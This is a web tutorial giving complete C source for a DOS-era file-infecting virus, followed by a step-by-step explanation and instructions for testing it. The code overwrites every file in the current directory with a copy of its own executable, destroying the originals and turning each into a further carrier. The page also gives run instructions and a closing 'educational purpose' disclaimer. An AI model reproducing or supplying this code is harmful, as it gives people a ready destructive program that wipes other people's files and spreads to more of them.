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How To Create A Computer Virus

Create Computer Virus

Create computer virus, below given program is an example of how to create computer virus in C language. This program make Harmful virus program which when executed creates a copy of itself in all the other files that are present in the same directory.Thus, it destroys other files by infecting them. The infected file will also become a virus so that when executed, it is capable of spreading the infection to another file and so on.

code of the virus program:

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0); //Search for a file with any extension (*.*)
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
This virus is designed to infect all types of files with any extension.

How this Virus Program Works

  • Search for files in the current directory. If one or more file is present, load the first file (target file).
  • Load the copy of the virus itself onto the memory.
  • Open the target file. Copy the virus code from the memory and place it in the target file. Close the target file when the copying process is completed.
  • Load the next file to infect and move to the step-3. If all the files are infected, close all the open files, unload them from the memory and exit.

How to Test the Virus

  • Create a new empty folder.
  • Put some executable files (or any other files) in the folder.
  • Run the PC_Virus.exe file. Within a few seconds, all the other files in the folder get infected.
  • Now every infected file is a new virus which is ready to re-infect. You can copy any of the infected.exe file to another empty folder and repeat the same procedure to see if the infected file is capable of re-infecting. Delete the folder and all the infected files after the testing process is done.

POINT TO BE NOTED

Files infected by this virus are destroyed completely and cannot be recovered. So, always test the virus in a new folder by placing some sample files.
This is Only For Educational Purpose.

 

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